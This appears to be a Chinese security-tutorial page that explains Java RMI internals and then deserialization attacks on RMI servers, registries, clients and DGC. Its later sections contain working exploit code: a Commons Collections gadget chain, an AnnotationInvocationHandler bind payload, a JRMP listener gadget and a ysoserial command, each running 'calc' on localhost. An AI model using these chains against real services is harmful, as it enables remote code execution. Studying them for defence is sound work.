> For the complete documentation index, see [llms.txt](https://p4d0rn.gitbook.io/java/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://p4d0rn.gitbook.io/java/prerequisites/rmi-and-jndi/rmi.md).

# RMI

## 0x01 What is RMI

`RMI：Remote Method Invocation` 远程方法调用。

* RMI为应用提供了远程调用的接口（Java的RPC框架）
* 调用远程位置对象的方法
* 实现RMI的协议叫JRMP
* RMI实现过程存在Java对象的传递，因此涉及到反序列化

## 0x02 Procedure Glance

两个概念：客户端存根（stubs）、服务端骨架（skeletons）

> 为屏蔽网络通信的复杂性，RMI引入两个概念，客户端存根Stub和服务端骨架Skeleton
>
> * 当Client试图调用一个远端的Object，实际调用的是客户端本地的一个代理类（就是Stub）
> * 调用Server的目标类之前，会经过一个远端代理类（就是Skeleton），它从Stub接收远程方法调用并传递给真正的目标类
> * Stub和Skeleton的调用对于RMI服务的使用者是隐藏的

所以整个RMI的流程大概为

1. 客户端调用Stub上的方法
2. Stub打包调用信息（方法名、参数），通过网络发送给Skeleton
3. Skeleton将Stub发来的信息解包，找到目标类和方法
4. 调用目标类的方法，并将结果返回给Skeleton
5. Skeleton将调用结果打包，发送给Stub
6. Stub解包并返回给调用者

![image-20230121125415548](/files/5vPuUnGN3WE32X9TzZBq)

代码规则

* 客户端和服务端都需定义用于远程调用的接口
* 接口必须继承`java.rmi.Remote`接口
* 接口中的方法都要抛出`java.rmi.RemoteException`异常
* 服务端创建接口实现类，实现接口定义的方法
* 实现类继承`java.rmi.server.UnicastRemoteObject`

这里要求实现类继承`UnicastRemoteObject`，方便自动将这个远程对象导出供客户端调用

当然不继承也行，但后面得手动调用`UnicastRemoteObject#exportObject`，导出对象时可以指定监听端口来接收`incoming calls`，默认为随机端口。由上图可知远程对象会被注册到`RMI Registry`中，所以实际上不需要通过注册中心，只要我们知道导出的远程对象监听的端口号，也可以和它直接通信。

`RMI Registry`注册中心存储着远程对象的引用（Reference）和其绑定的名称（Name），客户端通过名称找到远程对象的引用（Reference），再由这个引用就可以调用到远程对象了。

📌服务端

创建用于远程调用的接口：

```java
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Hello extends Remote {
    String sayHello(Object s) throws RemoteException;
    String sayGoodBye() throws RemoteException;
}
```

接口实现类：

```java
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RemoteHello extends UnicastRemoteObject implements Hello{
    protected RemoteHello() throws RemoteException {
    }

    @Override
    public String sayHello(Object s) throws RemoteException {
        System.out.println("sayHello Called");
        return "Hello " + s;
    }

    @Override
    public String sayGoodBye() throws RemoteException {
        System.out.println("sayGoodbye Called");
        return "Bye~";
    }
}
```

注册远程对象 使用`LocateRegistry#createRegistry()`来创建注册中心，`Registry#bind()`进行绑定

```java
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RMIServer {
    public static void main(String[] args) throws Exception {
        LocateRegistry.createRegistry(1099);
        RemoteHello hello = new RemoteHello();
        Naming.bind("rmi://127.0.0.1:1099/hello", hello);
    }
}
```

`java.rmi.Naming`用来对注册中心进行操作，提供lookup、bind、rebind、unbind、list这些方法来查询、绑定远程对象。

这些方法的第一个参数都接收一个URL字符串，`rmi://host:port/name`，表示注册中心所在主机和端口，远程对象引用的名称。

一般注册中心和服务端都在同一主机。

📌客户端

同样客户端需要定义和服务端相同的远程接口，然后进行调用

`LocateRegistry#getRegistry()`连接注册中心，`Registry#lookup()`获取远程对象的存根，通过名称查找

注册中心默认端口1099

```java
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
        Hello hello = (Hello) registry.lookup("hello");

        System.out.println(hello.sayHello("taco"));
        System.out.println(hello.sayGoodBye());
    }
}
```

RMI支持动态类加载来进行反序列化。上面的远程方法调用涉及方法参数的传递，若客户端传递了一个服务端不存在的类对象，服务端如何进行反序列化呢？若设置了`java.rmi.server.codebase`，则服务端会尝试从其地址加载字节码。

```java
System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8888/");
```

客户端创建此类`Calc`

```java
import java.io.IOException;
import java.io.Serializable;

public class Calc implements Serializable {
    private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
        s.defaultReadObject();
    }
}
```

服务端需要增加如下安全管理器和安全策略的设置，这里直接给足权限

```java
System.setProperty("java.security.policy", RMIServer.class.getClassLoader().getResource("rmi.policy").toString());
if (System.getSecurityManager() == null) {
    System.setSecurityManager(new RMISecurityManager());
}
```

![image-20240223124849755](/files/CowXF75NshhYS6vDxqjz)

![image-20240223122831102](/files/145IYMAowhkpweFeWmmF)

## 0x03 Deep Source

### 远程对象创建

```java
RemoteHello remoteHello = new RemoteHello();
```

`RemoteHello`继承了`UnicastRemoteObject`，实例化时会调用父类的构造方法，用于创建和导出远程对象，这个对象通过`RMISocketFactory`创建的服务端套接字来导出。`port=0`会选择一个匿名(随机)端口，导出的远程对象通过这个端口号来接收发送进来的调用请求。

![image-20231011195355882](/files/D0fGHaoxk4SScSZ0mvad)

```java
protected UnicastRemoteObject(int port) throws RemoteException{
    this.port = port;
    exportObject((Remote) this, port);
}
```

接着传入端口号创建了一个`UnicastServerRef`对象（远程引用）

这个对象存在多层封装，与网络连接有关，这里跳过。

![image-20240223130331737](/files/zZPXUcrkZH9mHcqmLk31)

`UnicastServerRef`对象被传入了远程对象的ref属性，即这个远程对象的远程引用。

接着进入`UnicastServerRef#exportObject`

![image-20240223131314644](/files/OouWyKl7Eh3G2BX7Wuvd)

存根Stub出现了！它是通过`sun.rmi.server.Util#createProxy()`创建的代理类

跟进`createProxy`可以看到熟悉的`Proxy.newProxyInstance()`创建动态代理。

![image-20240223131702476](/files/ymiEK8YV1Ubjy1jqAeMA)

`clientRef`是上面创建的`UnicastServerRef`的`LiveRef`属性封装的一个`UnicastRef`

![image-20240223132718662](/files/OYNFuQbCnQKoTNxEwjNv)

这里的`RemoteObjectInvocationHandler`关系到远程方法的调用，下文在客户端讲解。

接着返回到`exportObject`方法

![image-20240223133156955](/files/gfdv4eqNvZSHO2QlulrD)

（先说一下这里的`hashToMethod_Map`存储的是方法哈希和方法的对应关系，后面远程调用是根据方法哈希找到方法的）

创建了一个`sun.rmi.transport.Target`对象

这个Target对象封装了生成的动态代理类stub还有远程对象impl，再通过`LiveRef#exportObject`将target导出

![image-20240223133449915](/files/9bbFAVO2SeBf6uckzydB)

`listen()`为stub开启随机端口，在`TCPTransport#exportObject`将target注册到`ObjectTable`中

![image-20240223133818074](/files/1fffHsqAkIOLd7hYvVwn)

最后target是被放入`objTable`和`implTable`中

从键`oe`、`weakImpl`可以看出，`ObjectTable`提供`ObjectEndpoint`和`Remote实例`两种方式来查找`Target`

![image-20240223142611297](/files/w7I26fUEHM3qJcC0fVtN)

### 注册中心创建

```java
Registry r = LocateRegistry.createRegistry(9999);
```

![image-20240223143228489](/files/a6e9DqMlqHatnkFX0LjP)

传入端口号创建`sun.rmi.registry.RegistryImpl`

这里说注册中心的导出和`UnicastRemoteObject#exportObject`的导出逻辑一样

不同的是注册中心的对象标识符是一个特殊的ID 0，客户端第一次连接时才能通过这个id找到注册中心

![image-20240223143710091](/files/zDl1VGdgAk8Pd3DRCXe1)

同样`LiveRef`对象与网络有关，这里给`LiveRef`传入了特殊id——0，接着调用`setup()`

![image-20240223144118824](/files/DYArphZIqu1J2hL2P6aV)

依旧调用`UnicastServerRef#exportObject`，不过上面导出的是`UnicastRemoteObject`，这里导出的是`RegistryImpl`

![image-20240223144241387](/files/aUrRKPVaSjUzUxPQ7z9F)

同样进行动态代理创建，不过上面导出`UnicastRemoteObject`的过程略过了这一步分析 —— `stubClassExists`的判断

`stubClassExists`会判断该远程对象是否有对应的stub类，格式为`Xxx_Stub`，若没有找到该类则`Class.forName`抛出异常，并把这个远程对象放入`withoutStubs`这个Map。

比如上面导出`UnicastRemoteObject`中，会去找`RemoteHello_Stub`

而现在要导出的是`RegistryImpl`，会去找`RegistryImpl_Stub`

![image-20240223144322461](/files/QRvjYoC45j9ME493WXqb)

获取委托类（这里是`RegistryImpl`）的名字后面加`_Stub`看是否存在

全局一搜还真有，`sun.rmi.registry.RegistryImpl_Stub`

看一眼这个类，它实现了`Registry`接口，并重写了很多常用方法如`bind`、`lookup`、`list`、`rebind`、`unbind`

这些方法的实现过程可以看到都用到了`readObject`、`writeObject`来实现的，即序列化和反序列化，也就是注册中心负责序列化和反序列化。

返回到动态代理的创建，接着`createStub`，通过反射实例化`RegistryImpl_Stub`实例对象

![image-20240223144823140](/files/AeffW6MmQ5wGdOBOXXLm)

`createStub`之后判断stub是否为`RemoteStub`实例（`RegistryImpl_Stub`继承了`RemoteStub`），进入`setSkeleton`

![image-20240223144926955](/files/yPWe9iGdr1xHfHkBpho3)

`Util.createSkeleton`方法创建skeleton

![image-20240223145111849](/files/fK3m09viil9XzyXYNIoU)

和`createStub`类似，通过反射实例化`RegistryImpl_Skel`

接下来依旧是封装target对象，将`ResgitryImpl`和`RegistryImpl_Stub`封装成Target

`LiveRef#exportObject`将target导出，开启监听端口，放入`objTable`和`implTable`

`put`之后`objTable`有三个值

* DGC垃圾回收

  ![image-20231011212722670](/files/cMFDe7i48NXnoNV86hFa)
* 创建的远程对象：stub为动态代理对象，skel为null

  ![image-20231011212617897](/files/1xL7UEIvTiOG5IpWlRHa)
* 注册中心：stub为`RegistryImpl_Stub`、skel为`RegistryImpl_Skel`

  ![image-20231011212424338](/files/Ab9ofuyjowZ7S3vqk2CT)

由上可知注册中心就是一个特殊的远程对象

和普通远程对象创建的差异：

* LiveRef的id为0
* 远程对象Stub为动态代理，注册中心的Stub为`RegistryImpl_Stub`，同时还创建了`RegistryImpl_Skel`
* 远程对象端口默认随机，注册中心端口默认1099

### 服务注册

一般注册中心和服务端都在一起，`createRegistry`直接调用其`bind`方法即可

这里的`Registry`是`RegistryImpl`

```java
r.bind("hello", remoteHello);
```

![image-20240223152008143](/files/X5tEDHxLeKKJTXfRtCmF)

把name和obj放到`bindings`这个hashtable中

若调用的是`Naming#bind`

![image-20240223152655973](/files/SsB84akWJw2I6UB0aAx0)

这里`getRegistry`获取到的是`RegistryImpl_Stub`，具体流程在下面的客户端请求注册中心中讲解。

### 客户端请求注册中心-客户端

```java
Registry r = LocateRegistry.getRegistry("127.0.0.1", 9999);
```

![image-20240223153104992](/files/FVVvPskwbb9E6lWhXtWi)

通过传入的host和port创建一个`LiveRef`用于网络请求（注意这里传入的ObjID也是0），通过`UnicastRef`进行封装。

然后和注册中心的逻辑相同，尝试创建代理，这里获取了一个`RegistryImpl_Stub`对象

接着通过`lookup`与注册中心通信，查找远程对象获取存根

```java
Hello stub = (Hello) r.lookup("hello");
```

进入`RegistryImpl_Stub`的`lookup`

![image-20230121153309921](/files/1C1iuHkYBhyX4G186pNN)

🚩`readObject`被调用

* `newCall`建立与远程注册中心的连接
* 通过序列化将要查找的名称写入输出流（这里是hello）
* 调用`UnicastRef`的invoke方法（invoke会调用`StreamRemoteCall#executeCall`，释放输出流，调用远程方法，将结果写进输入流）
* 获取输入流，将返回值进行反序列化，得到远程对象的动态代理Stub

`UnicastRef#invoke`具体下文分析

看一下这里`StreamRemoteCall`的创建，`UnicastRef#newCall`

![image-20240223162217504](/files/GbZcTTPb2pAFnCpbjX7C)

这里写入了opnum，`bind/0`、`list/1`、`lookup/2`对应不同的opnum，

同时写入了`ref.getObjID()`

* 对于`RegistryImpl_Stub`，这里就是0
* 对于普通远程对象的动态代理Stub，这里就是其对应的id

若这里是服务端，将进行`bind`操作，将远程对象及其名称🚩序列化后传给注册中心

![image-20240223154800101](/files/dUTvq0mcspYUc4KQg5zh)

### 客户端请求注册中心-注册中心

注册中心由`sun.rmi.transport.tcp.TCPTransport#handleMessages`来处理请求

根据数据流的第一个操作数数值决定如何处理数据，主要当然是`Call`操作

创建了一个`StreamRemoteCall`（和客户端一样），进入`serviceCall`

![image-20240223155615552](/files/7jUna1lmfXvZoemmZ5Pp)

![image-20240223160532165](/files/e4xl8XlmriP2j3wviwND)

由target获取到`UnicastServerRef`远程对象引用`disp`，以及远程对象`impl`（这里是`RegistryImpl`）

进入`UnicastServerRef#dispatch(impl,call)`

![image-20240223163038079](/files/PkzVKRjR9SfYUtfsIZa0)

该方法负责将方法调用分发给服务端的远程对象，以及序列化服务端调用返回的结果

判断`skel`是否为空来区别`RegistryImpl`和`UnicastRemoteObject`（即区别注册中心和普通远程对象）

这里的num是操作数（上面的opnum），接着进入`oldDispatch`

![image-20240223163452335](/files/tHTHYE2ngmTCnssrY3tP)

接着调用`RegistryImpl_Skel#dispatch`，根据opnum进行不同的处理

![image-20230121162856291](/files/qWaxQZCLIAAuJmkzTveE)

这里是2对应`lookup`，从数据流中读取名称字符串

![image-20230121162954459](/files/HYTV8UdG1EbJNOegwHgJ)

从`bindings`中获取

![image-20240223163715312](/files/zpABr9rGF9Qbp3AnBTkJ)

![image-20230121163103768](/files/gKkFUSxWrP3OroM57veE)

获取完后将序列化的值传过去

若这里是服务端进行的bind请求：反序列化得到远程对象和其名称

![image-20240223165527384](/files/ylHNY3Hzwi0Sd7eoejcf)

再放入bindings这个HashMap中

![image-20240223165606588](/files/nWzci7VLDqDn7n9Vfojy)

### 客户端请求服务端-客户端

```java
stub.sayHello()
```

客户端调用服务端远程对象，还记得上面服务端的远程对象创建中，使用`Proxy.newProxyInstance()`创建了远程对象的动态代理Stub

`Hello stub = (Hello) r.lookup("hello");`已经获取到了这个远程对象的动态代理

`InvocationHandler`中已经包含了远程对象对应的`UnicastRef`，即可以获取远程对象对应的id

`RemoteObjectInvocationHandler#invoke`

![image-20240223170729912](/files/Is98NgXpCt9HSLaI3Dr5)

* 如果调用的是Object声明的方法（`getClass`、`hashCode`、`equals`之类的），接`invokeObjectMethod`
* 若调用的是远程对象自己的方法，接`invokeRemoteMethod`

![image-20240223170958598](/files/4Z6mkgIyNHdjD3q3wCwW)

`invokeRemoteMethod`中实际委托`RemoteRef`的子类`UnicastRef#invoke`来执行

`invoke`传入了`getMethodHash(method)`，方法的哈希值，后面服务端会根据这个哈希值找到相应的方法

`UnicastRef`的`LiveRef`属性包含`Endpoint`、`Channel`封装与网络通信有关的方法，其中包含服务端该stub对应的监听端口

![image-20231012110249291](/files/2bk30hmImhz4hoyQY0VS)

若方法有参数，调用`marshalValue`将参数序列化，并写入输出流

![image-20240223171856459](/files/6RgUrgBdsXHItMxG9uGz)

![image-20240223171958751](/files/C3RuHOaEWoTm0HMynZsj)

接着调用`executeCall`

![image-20240223172531707](/files/1xm64EbbkICLOQ3tBlls)

`releaseOutputStream()`释放输出流，即发送数据给服务端

`getInputStream`读取返回的数据，写到`in`中

![image-20240224135035161](/files/N3Jgfk0MXnnEWk4I3fJ8)

注意这里读取返回数据流中的返回类型，若返回类型为`异常返回`，直接进行反序列化🚩

![image-20240223172624949](/files/Rw5xBpzBKu02PXaDBCBC)

若为正常返回，通过`unmarshalValue()`去反序列化获取返回值

![image-20240223172659428](/files/tRTVBbS0yoYwsd0GlKw9)

先判断方法的返回类型是否为基本类型，不是的话调用原生反序列化。🚩`readObject`被调用

### 客户端请求服务端-服务端

和`客户端请求注册中心-注册中心`类似，`sun.rmi.transport.tcp.TCPTransport#handleMessages`

到`UnicastServerRef#dispatch()`，这次`num=-1`直接跳过`skel`的判断。

![image-20231012115521571](/files/e30n6Y86XalRxlppK1pD)

根据哈希值从`hashToMethod_Map`获取`Method`，`unmarshalValue`反序列化传入的参数。🚩`readObject`被调用

释放输入流后，调用`Method#invoke`，到这终于算远程方法调用到了

![image-20231012122532969](/files/Xv8ug5yngtAB7QQP1HzP)

最后序列化调用结果，写入输出流，返回给客户端

![image-20231012122732557](/files/kp1VGPIfg3dTWdlLKYJb)

### DGC

服务端通过`ObjectTable#putTarget`将注册的远程对象放入`objTable`中，里面有默认的`DGCImpl`对象

DGCImpl的设计是单例模式，这个类是RMI的分布式垃圾回收类。和注册中心类似，也有对应的`DGCImpl_Stub`和`DGCImpl_Skel`，同样类似注册中心，客户端本地也会生成一个`DGCImpl_Stub`，并调用`DGCImpl_Stub#dirty`，用来向服务端”租赁”远程对象的引用。

当注册中心返回一个Stub给客户端时，其跟踪Stub在客户端中的使用。当再没有更多的对Stub的引用时，或者如果引用的“租借”过期并且没有更新，服务端将垃圾回收远程对象。`dirty`用来续租，`clean`用来清除远程对象。

租期默认10分钟，`DGCImpl`的ObjId为2

![image-20240224120549132](/files/20qp7MpR5CuTdQEploax)

`DGCImpl`的静态代码块中进行类实例化，并封装为target放入`objTable`。

![image-20240224120922314](/files/BpveODwGezYZccdotaVl)

哪里触发的这个静态代码块？其实每有一个Target被创建，都会调用到`DGCImpl`去监控这个对象。

但一般最早被触发应该是`LocateRegistry#createRegistry`创建注册中心时。

![image-20240224161001367](/files/9hJKLPfIGGDzI6R5N6Yc)

`permanent`默认为true，进入`pinImpl`

![image-20240224161126984](/files/AQfD5IsLCksWcmkk2AFL)

`DGCImpl_Stub#dirty`

![image-20230121182935259](/files/GWCyPW0fvoQij2bEyCVm)

* invoke => UnicastRef#invoke => executeCall() => readObject()
* 获取输入流、readObject，🚩`readObject`被调用

服务端：handleMessages => UnicastServerRef#dispatch => oldDispatch

最后进入`DGCImpl_Skel#dispatch`

![image-20230121183916059](/files/szrJdkhpB3dtb6cvP56w)

两个case分支都有readObject，🚩`readObject`被调用

## 0x04 SumUp

上面记了一堆流水账，大概总结一下服务创建、发现、调用的过程

服务注册：

* 远程对象创建
  * 远程对象继承`UnicastRemoteObject`，`exportObject`用于将这个对象导出，每个远程对象都有对应的远程引用（`UnicastServerRef`）
  * 对象导出是指，创建远程对象的动态代理，并将对象的方法和方法哈希存储到远程引用的`hashToMethod_Map`里，后面客户端通过传递方法哈希来找到对应的方法。同时开启一个socket监听到来的请求。远程对象、动态代理和对象id被封装为Target，target会被存储到`TCPTransport`的`objTables`里，后面客户端通过传递对象id可获取到对应target。
  * 动态代理Stub中含有这个远程对象的联系方式（`LiveRef`，包括主机、端口、对象id）
* 注册中心创建
  * `LocateRegistry#createRegistry`用于创建注册中心`RegistryImpl`
  * 注册中心是一个特殊的远程对象，对象id为0
  * 导出时不会创建动态代理，而是找到`RegistryImpl_Stub`，同时创建了对应的骨架`RegistryImpl_Skel`，Stub会被序列化传递给客户端，其重写了`Registry`的`lookup`、`bind`等方法，会对传输和接收的数据流进行序列化和反序列化
  * 后面的socket端口监听、target存储到`objTables`和远程对象的导出一致
* 将远程对象注册到服务中心
  * 一般注册中心和服务端都在一起，可直接调用`createRegistry`返回的`RegistryImpl#bind`，也可以用`Naming#bind`，后者是通过`RegistryImpl_Stub`将服务名称和远程对象的动态代理Stub序列化后传递给注册中心，注册中心再进行`RegistryImpl#bind`

服务发现：

* `LocateRegistry.getRegistry`用于获取注册中心的Stub，即`RegistryImpl_Stub`，过程和注册中心的创建一样，都是调用`Util#createProxy`
* 注册中心实际上相当于一个客户端知道其端口号的远程对象
* `RegistryImpl_Stub#lookup`首先建立与注册中心的连接，服务名称序列化后写入输出流，释放输出流，等待远程返回，获取输入流进行反序列化，得到远程对象的动态代理Stub
* `TCPTransport`负责处理到来的数据，根据对象id获取对应的target，接着获取target中存储的`UnicastServerRef`
* `UnicastServerRef#dispatch`通过客户端传递的一个num来区别是对注册中心的操作（≥0）还是对普通远程对象的操作（＜0）
* `RegistryImpl_Skel`调用`RegistryImpl#lookup`，通过服务名称获取对应Stub，接着序列化返回给客户端

服务调用：

* 通过上面的`RegistryImpl_Stub#lookup`已经获取到远程对象的动态代理Stub，客户端可以直接和服务端通信了
* 对动态代理进行方法调用会触发其`invoke`，进一步交给了`UnicastRef#invoke`，将方法哈希、参数序列化写入输出流，`StreamRemoteCall#executeCall`释放输出流，获取远程返回的输入流，回到`UnicastRef`对返回值进行反序列化
* 服务端通过num为-1判断这不是对注册中心的操作，接着根据哈希值从`hashToMethod_Map`找到`Method`，反序列化参数，序列化调用结果，写入输出流返回给客户端

彻底晕了😵不得不佩服RMI的设计者

## 0x05 CodeBase

RMI的一个特点就是动态加载类，如果当前JVM中没有某个类的定义，它可以从远程URL去下载这个类的class

`java.rmi.server.codebase`属性值表示一个或多个URL位置，可以从中下载本地找不到的类，相当于一个代码库。

服务端和客户端都支持这个功能。

无论是客户端还是服务端要远程加载类，都需要满足以下条件：

* 由于Java SecurityManager的限制，默认是不允许远程加载的，如果需要进行远程加载类，需要安装RMISecurityManager并且配置`java.security.policy`。
* 属性`java.rmi.server.useCodebaseOnly`的值必需为false。但是从 **JDK 6u45、7u21** 开始，`java.rmi.server.useCodebaseOnly` 的默认值就是true。当该值为true时，将禁用自动加载远程类文件，仅从CLASSPATH和当前虚拟机的`java.rmi.server.codebase`指定路径加载类文件。使用这个属性来防止虚拟机从其他Codebase地址上动态加载类。

服务端增加如下配置

```java
System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:9999/");
System.setProperty("java.security.policy", RMIServer.class.getClassLoader().getResource("rmi.policy").toString());
if (System.getSecurityManager() == null) {
    System.setSecurityManager(new RMISecurityManager());
}
```

客户端自定义一个类

```java
import java.io.IOException;
import java.io.Serializable;

public class ClientObject implements Serializable {
    @Override
    public String toString() {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
        return "hacked";
    }
}
```

换一下接口

```java
@Override
public String sayHello(Object s) throws RemoteException {
    System.out.println("sayHello Called");
    return "Hello " + s;
}
```

![image-20231012171338868](/files/nIHFCQOkpGfYRbU7D7W2)

反序列化参数的时候，若在本地找不到参数类，会根据codebase是否开放来决定从哪加载。

![image-20231012194402783](/files/RbgyPtshbut1BEBsx27P)

判断`useCodeBaseOnly`是否为`false`

![image-20231012194709265](/files/8PNOH2JJwijAmj6sHswY)

通过`RMIClassLoader.loadClass`来加载类

![image-20231012195421756](/files/GYxno75hN9CvyiINKlQn)

这里传入的codebase是null，实际上这个codebase是可以由客户端指定的，原因也很简单，客户端传的参数，当然是由客户端告诉服务端这个参数类去哪找。这么危险的操作，难怪后面的版本会默认禁用codebase。。。。

这里是通过`getDefaultCodebaseURLs()`获取的，得到的是服务端配置的codebase

接下来`loadClass`判断了是否有设置`SecurityManager`，并获取到了一个类加载器

![image-20231012200155520](/files/LYCtNb0LPgHYoy1YnMtK)

`sun.rmi.server.LoaderHandler$Loader`这个类加载器是`URLClassLoader`的子类

最后`Class<?> c = loadClassForName(name, false, loader);`

![image-20231012200428866](/files/MuxkbDWokaqyJkPOLysw)

`Class.forName`指定了这个加载器去加载。后面会实例化这个类

## 0x06 Attack RMI

上面有`readObject`进行反序列化的地方存在被攻击的隐患

1. 攻击客户端
   * RegistryImp\_Stub#lookup 反序列化注册中心返回的Stub
   * UnicastRef#invoke 反序列化远调方法的执行结果
   * StreamRemoteCall#executeCall 反序列化远程调用返回的异常类
   * DGCImpl\_Stub#dirty
2. 攻击服务端
   * UnicastServerRef#dispatch 反序列化客户端传递的方法参数
   * DGCImpl\_Skel#dispatch
3. 攻击注册中心
   * RegistryImp\_Stub#bind 注册中心反序列化服务端传递传来的远程对象

### 攻击服务端

服务端：UnicastServerRef#dispatch 调用了`unmarshalValue`来反序列化客户端传来的远程方法参数

#### 远程方法参数为Object

客户端将参数设为payload即可(下面使用CC6)

```java
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Hello extends Remote {
    String sayHello(Object name) throws RemoteException;
}
```

```java
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Field;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class Client {
    public static void main(String[] args) throws Exception {
        Registry r = LocateRegistry.getRegistry("127.0.0.1", 9999);
        Hello stub = (Hello) r.lookup("hello");
        stub.sayHello(getPayload());
    }

    public static Object getPayload() throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer(
                        "getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer(
                        "invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),
                new InvokerTransformer(
                        "exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        Transformer[] fakeTransformers = new Transformer[] {new
                ConstantTransformer(1)};
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map, transformerChain);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");
        Map expMap = new HashMap();
        expMap.put(tiedMapEntry, "xxx");

        lazyMap.remove("test");

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        return expMap;
    }
}
```

#### 远程方法参数非Object

修改服务端接口

```java
public class HelloObject {
    @Override
    public String toString() {
        return "HelloObject{}";
    }
}
String sayGoodBye(HelloObject o) throws RemoteException;
```

继续使用上面的payload，报错`unrecognized method hash: method not supported by remote object`

因为客户端方法的哈希和服务端方法的哈希不同，`hashToMethod_Map`找不到对应的方法。

只要修改客户端发送的方法哈希值和服务端的一样就行了。

客户端的接口也添加一个同服务端相同的方法

```java
public interface Hello extends Remote {
    String sayHello(Object s) throws RemoteException;
    String sayGoodBye(Object o) throws RemoteException;
    String sayGoodBye(HelloObject o) throws RemoteException;  👈Same as Server's
}
```

调试的时候，在`RemoteObjectInvocationHandler`调用`invokeRemoteMethod`的时候修改method，下面`getMethodHash(method)`获取到的哈希就和服务端的一样了。

![image-20231012191505746](/files/bJ9ArOs4t5ozoW721z1O)

也可以通过`Java Agent`技术进行字节码插桩，以此来修改方法哈希

#### 远程类加载

上面说过，RMI反序列化参数的时候，若在本地找不到类，会在指定的codebase下加载类，而codebase可以由客户端指定

![image-20231012202718764](/files/BQd3B3w7uHXWwfJRI7Cl)

### 攻击注册中心

注册中心和服务端是可以分开的，服务端可以使用`Naming`提供的接口来操作注册中心

```java
Naming.bind("rmi://127.0.0.1:1099/hello", hello);
```

![image-20231012204704491](/files/7H8gBaeiIo2ZhFUUdGDZ)

这里获取到的就是`Registry`的动态代理`ResgitryImpl_Stub`，同样`bind`和上面的`lookup`类似，不过就是操作数改变了。

依然存在序列化和反序列化。服务端将待绑定的对象序列化，注册中心收到后反序列化。

目前来看，貌似注册中心没有身份验证的功能，客户端都可以进行`bind`、`unbind`、`rebind`这些操作。

`bind`的参数要求是`Remote`类型，可以用CC1中的`AnnotationInvocationHandler`来动态代理`Remote`接口，反序列化的时候map的键值对都会分别反序列化。

```java
HashMap<String, Object> map = new HashMap<>();
map.put("p4d0rn", getPayload());

Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
Remote remote = (Remote) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, invocationHandler);

Naming.bind("rmi://127.0.0.1:1099/test", remote);
```

### 攻击客户端

客户端的攻击和上面的都类似，大概就下面几个攻击点

* 恶意Server返回方法调用结果
* 恶意Registry返回Stub
* 动态类加载（Server返回的调用结果若为客户端不存在的类，客户端也支持动态加载）

### 攻击DGC

DGCImpl\_Stub#dirty

DGCImpl\_Skel#dispatch

见ysoserial的`exploit.JRMPListener`和`exploit.JRMPClient`

## 0x07 Deser Gadgets

### UnicastRemoteObject

反序列化时会重新导出远程对象

![image-20240223233308385](/files/CubpAPWbY27Pb5i7amzd)

![image-20240223233417379](/files/gRzJv7cEA6I0Mrw5yxCe)

接下来的流程就和上面的一致了，不过这里的端口我们可以指定。

下面就是触发JRMP监听端口（`TCPTransport#listen`），会对请求进行反序列化，对应`ysoserial.payloads.JRMPListener`，不过它是用的`ActivationGroupImpl`(`UnicastRemoteObject`的一个子类)

```java
public static void main(String[] args) throws Exception {
    Class<?> clazz = Class.forName("sun.misc.Unsafe");
    Field unsafeField = clazz.getDeclaredField("theUnsafe");
    unsafeField.setAccessible(true);
    Unsafe unsafe = (Unsafe) unsafeField.get(null);
    Class<?> uroClazz = Class.forName("java.rmi.server.UnicastRemoteObject");
    Object uro = unsafe.allocateInstance(uroClazz);
    setFiled(uro, "port", 12233);
    setFiled(uro, "ref", new UnicastServerRef(12233));
    ser(uro);
}

public static void setFiled(Object o, String name, Object value) throws Exception {
    Class<?> superClazz = o.getClass();
    Field f = null;
    while (true) {
        try {
            f = superClazz.getDeclaredField(name);
            break;
        } catch (NoSuchFieldException e) {
            superClazz = superClazz.getSuperclass();
        }
    }
    f.setAccessible(true);
    f.set(o, value);
}

public static void ser(Object o) throws Exception {
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(baos);
    oos.writeObject(o);

    Object oo = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray())).readObject();
    Thread.sleep(100000);
}
```

可以用`ysoserial.exploit.JRMPClient`去打，其原理是与DGC通信发送恶意payload让服务端进行反序列化

`java -cp ysoserial.jar ysoserial.exploit.JRMPClient 127.0.0.1 12233 CommonsCollections5 "calc"`

